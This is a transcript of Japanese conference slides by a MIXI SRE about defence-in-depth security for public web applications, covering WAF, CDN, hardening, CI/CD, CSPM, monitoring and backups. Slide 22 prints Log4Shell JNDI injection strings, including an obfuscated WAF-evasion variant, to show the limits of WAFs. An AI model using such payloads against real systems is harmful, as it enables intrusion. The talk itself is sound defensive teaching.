増え続ける公開アプリケーションへの悪意あるアクセス_多層防御を取り入れるSRE活動_.pdf

2023年9月29日開催 SRE NEXT 2023 で登壇した資料を公開します。
https://sre-next.dev/2023/

あるWebセキュリティ情報メディアのレポートによると全世界で平均して1ホストあたり17回/秒のサイバー攻撃を検知しているそうです。
これは2022年のデータですが、おそらく2023年には増加していると予想します。
インターネットでアプリケーションを公開することはサイバー攻撃を受ける危険性と隣り合わせです。
自社の公開アプリケーションを守るためのSRE活動は何でしょうか？
実際に経験した事実を基にしたフィクションという体でサイバー攻撃への対策を紹介します。

Transcript

1. ©MIXI 増え続ける公開アプリケーション への悪意あるアクセス。 多層防御を取り入れるSRE活動。 2023/09/29 開発本部CTO室SREグループ 吉井 亮
2. ©MIXI 2 自己紹介 吉井 亮 (YOSHII RYO) • 経歴 HWエンジニア → 中小SIer → ERPコンサル → AWS パートナー → 株式会社MIXI • Community OpsJAWS (AWS Community Builder) • 好きな言葉 No human labor is no human error. Follow Me https://my.prairie.cards/u/YoshiiRyo1
3. ©MIXI 3 ご参加いただきありがとうございます ❏ 話すこと ❏ 公開 Web アプリケーションのセキュリティ対策 ❏ 担当者として備えておくべきこと ❏ 話さないこと ❏ 具体的な設定や手順 ❏ 特定製品の紹介や宣伝 ※ 本セッションで紹介するシステムは架空のものです。 発表者の実体験に基づいていますが、実在はしません。
4. ©MIXI 4 サイバー攻撃の脅威 株式会社サイバーセキュリティクラウド社のレポートによると、 サイバー攻撃は年々大幅な増加傾向にあると記されています。 • 1秒間に17回もの攻撃を検知。 • 攻撃元IPは1位がアメリカで49％、2位は日本国内からで20％に。 • 攻撃種別として最も多かったのは、Webサーバを構成するソフトウェアの脆弱性に対して無差別に 行われる単純攻撃の“Web attack”が全体のおよそ44%。引き続き“SQL injection”も顕在してお り増加傾向。 https://prtimes.jp/main/html/rd/p/000000316.000009107.html
5. ©MIXI 5 Top 10 Web Application Security Risks OWASP TOP 10 https://owasp.org/www-project-top-ten/ Broken Access Control アクセス制御ポリシー設定のミス Cryptographic-Failures 暗号化の欠落、不適切な使用 Injection データ入力検証、受け取り方式の不備 Insecure Desgin 設計やアーキテクチャの欠陥 Security Misconfigration アプリケーションの設定ミス、古いバージョン Vulnerable and Outdated Components 脆弱なコンポーネント、依存関係も含む Identification and Authentication Failures 弱い認証認可 Software and Data Integrity Failures 意図しないソースからコード/データ取得 Security Logging and Monitoring Failures 攻撃を検知できない Server-Side Request Forgery リモートソース取得の際の検証不備
6. ©MIXI 6 NIST Cybersecurity Framework Ver. 1.1 IDENTIFY サイバーセキュリティリスクの管理に必要な理解を深める PROTECT 適切な保護対策を検討し、実施する DETECT サイバーセキュリティイベントのタイムリーな発見 RESPOND 対処するための適切な対策を検討し、実施する RECOVER 機能やサービスを元に戻すための適切な対策を検討し、実施する https://www.nist.gov/cyberframework
7. ©MIXI 7 S Security R Reliability E Engineering
8. ©MIXI 本題
9. ©MIXI 9 今日の合言葉 城の中の王様を守る
10. ©MIXI 10 多層防御 城の中の王様を守る 一つセキュリティ対策だけで満足せずに全てのレイヤーで防御策を講じることをお勧めします。 • アプセトネデブ • エッジ (L7、L4) • サーバー (サービスを提供するものの意味、物理、仮想、サーバーレス、コンテナ問わず) • DB、キャッシュストア • コード、CI/CD パイプライン • CSPM（Cloud Security Posture Management） • 管理アクセス • 物理的
11. ©MIXI 11 多層防御 城の中の王様を守る 全てのドメインで対策を講じることをお勧めします。 • サービス ドメイン • クラウドアカウント、IAM パーミッション、リソースメタデータ、ビリング、その他 • インフラストラクチャ ドメイン • コンピュート上のプロセスやデータ • ネットワーク関連のアクティビティ • アプリケーション ドメイン • アプリケーションまたはコード
12. ©MIXI 12 多層防御 Registry DB Apps LB WAF WAF CDN Static Contents CSPM VCS Deploy Build CI/CD Pipeline 監視通知 Backup 善良なユーザー 悪意のある アタック Administrator Developer
13. ©MIXI 13 エッジ Registry DB Apps LB WAF WAF CDN Static Contents CSPM Deploy Build CI/CD Pipeline 監視通知 Backup 善良なユーザー 悪意のある アタック Administrator Developer VCS
14. ©MIXI 14 エッジ Distributed Denial of Service Attack 対策 （DDoS、分散型サービス拒否攻撃） • L3/L4 ◦ クラウドベンダーが標準機能でブロック • L7 ◦ WAF ◦ CDN • WAF ◦ Rate-based ◦ IP reputation list, Deny list ◦ Rules, Intelligent threat mitigation ◦ 有償の高機能サービス
15. ©MIXI 15 エッジ Distributed Denial of Service Attack 対策 （DDoS、分散型サービス拒否攻撃） • CDN ◦ 一般的に POP が多く DDoS の悪影響を分散できる ◦ TCP 接続を開いたままにしたり、極端に遅い接続を自動的に遮断 ◦ 地理的制限 • 負荷分散、オートスケール ◦ 想定していないアクセス増を捌くアーキテクチャ ◦ エッジというよりオリジンの話
16. ©MIXI 16 エッジ Exploits 対策 • WAF の利用 ◦ ベンダー提供のマネージドルール、自身で管理するカスタムルール ◦ ログを保管 ◦ 最初は検出モードでスタート ▪ ログを確認しながら過検知誤検知が無いことを確認する ▪ 過検知誤検知が無ければ防御モードへ変更 ▪ 過検知誤検知があれば除外設定やカスタムルールを駆使してそれらを減らしながら防御モードへ ◦ ログの確認、除外設定、カスタムルールのアップデートは定期的に実施する
17. ©MIXI 17 エッジ 一般的なセキュリティ対策 • HTTPS 強制 ◦ かつ、古い TLS バージョンは許可しない • セキュリティヘッダーの追加 ◦ Strict-Transport-Security, Content-Security-Policy, X-Content-Security-Policy, X-Frame-Options, X-XSS-Protection • オリジンの秘匿 ◦ 直接オリジンへアクセスさせない
18. ©MIXI 18 エッジ 悪意のある攻撃に対して 403 を返すことが大切です。 1. 無作為攻撃で穴を探してくる 2. 穴が見つかったらその穴に対して様々な攻撃をしかけてくる 3. その穴に対して複数 IP アドレスから攻撃がくる a. 弱いサイトを共有してる？ b. ツールを使って複数の拠点から攻撃してる？ 一方で、403 を返すと攻撃が減ります。 毎日毎時毎分のように仕掛けられていたサイトを対策したら、パタっと攻撃が止まったことがあります。
19. ©MIXI 19 Apps Registry DB Apps LB WAF WAF CDN Static Contents CSPM Deploy Build CI/CD Pipeline 監視通知 Backup 善良なユーザー 悪意のある アタック Administrator Developer VCS
20. ©MIXI 20 アプリケーションをホストから分離 • VM ◦ 不要なミドルウェアのアンインストール ◦ 不要なサービス、デーモン、プロセスの停止 ◦ ハードニングしたマシンイメージの使用 • コンテナ ◦ H/W、OS 層をサンドボックス化 ◦ 非特権モードで稼働 ◦ ReadOnly Root-Filesystem • サーバーレス、FaaS ◦ コード以外のセキュリティ対策をクラウドベンダーへオフロード
21. ©MIXI 21 DB は最重要 • 機密情報は DB に保管 ◦ ログに出力しない • アクセス権を限定 ◦ アプリの DB ユーザー → アプリで必要なテーブルのみ ◦ 管理者アクセス → 接続元の限定、GUI 便利ツールの利用は避ける • バックアップ・リストア ◦ DB ダンプやスナップショットのアクセス権を厳格に • クレデンシャルは強度の高いパラメータストアへ ◦ コードに書くのはもってのほか ◦ ini ファイルもありえない
22. ©MIXI 22 WAF があれば大丈夫？ WAF を前段に設置していても、アプリケーションの根本的な脆弱性対策はすべき。 • WAF が攻撃の100%を防ぐことはできない ◦ 難読化 ▪ ${jndi:ldap://hogehoge} ▪ ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}da${lower:p}}://hogehoge} ◦ ゼロデイ • WAF の誤検知・過検知はある ◦ アプリケーションから見ると正当なリクエストでも WAF ルールで検出されてしまう ▪ 除外ルールで回避、しかしここを突かれる ◦ マネージドルールの良い面でもあるし悪い面でもある
23. ©MIXI 23 最新バージョンの利用 OS、ミドルウェアは常に最新バージョンを利用します。 ここでもコンテナ、サーバーレスの優位性が発揮されます。 • 前提としてミドルウェアの特定バージョンに縛られないコード • Dockerfile FROM ◦ セキュリティパッチが適用されたイメージを使用 • サーバーレス、FaaS ◦ ランタイムバージョンの最新化
24. ©MIXI 24 パイプライン Registry DB Apps LB WAF WAF CDN Static Contents CSPM Deploy Build CI/CD Pipeline 監視通知 Backup 善良なユーザー 悪意のある アタック Administrator Developer VCS
25. ©MIXI 25 Shift Left, Security by Design ソフトウェア開発ライフサイクルの早い段階でセキュリティ問題に対処。 • Sec チームのレビュー • 自動的な SAST、DAST • 定期的なペネトレーションテスト、セキュリティテスト • 開発者を含めた勉強会 設計 開発 テスト リリース 従来
26. ©MIXI 26 その他 Registry DB Apps LB WAF WAF CDN Static Contents CSPM Deploy Build CI/CD Pipeline 監視通知 Backup 善良なユーザー 悪意のある アタック Administrator Developer VCS
27. ©MIXI 27 人的ミス 実際にあった（かもしれない）怖い話 • DocumentRoot で git clone • wp-config.php が野晒し • Public Repo に認証情報 • Self-host Git 系サーバーの古いバージョンを使い続けて脆弱性を突かれる • RDP/SSH ポートは全世界公開 • メンバー交代が年1回あるから ID/パスワードは共用 • 「いつか使うかもしれない Admin ユーザー」が2年以上未ログイン • P@ssw0rd
28. ©MIXI 28 CSPM (Cloud Security Posture Management) クラウドサービスの各種設定がセキュアであることの管理。 セキュリティリスクとなりうる設定を早期に発見し修正します。 • クラウドベンダーが提供するもの • セキュリティベンダーが提供するもの • 自身で独自ルールを作り運用することも可能 • NIST、CIS、PCI-DSS などのフレームワークに準拠していると良い • 自動復旧までセットで導入したい ◦ 例）特定のポートを開けてしまった → セキュリティグループ閉じる
29. ©MIXI 29 モニタリング 攻撃されていることに気が付かないような事態は避けたいところです。 異変を察知し迅速な対応がとれるよう恒常的なモニタリングを行います。 • 利用料金の異常な増加 ◦ 乗っ取られて高価なインスタンス使われていないか？ • Cloud API 利用の異常な増加 • パブリックな設定変更 • 大量のログイン試行
30. ©MIXI 30 ロギング フォレンジック調査のためにセキュリティイベントは悪意あるなしにロギングします。 • アプリケーションアクセスログ • エッジアクセスログ • WAF ログ • DB 監査ログ • Cloud API 監査ログ
31. ©MIXI 31 正常な状態にすぐ戻せる もし万が一、悪意のある攻撃を受けてしまい、リソースが乗っ取り/侵害された場合、 即時の復旧を達成するためにバックアップを定期的かつ高頻度で取得しておきます。 一度侵害されたリソースはその原因と思わしきプロセス/ファイル/データを取り除いたとしても 使い続けるべきではありません。 侵害される前にリストアし対策を施してから運用に戻します。
32. ©MIXI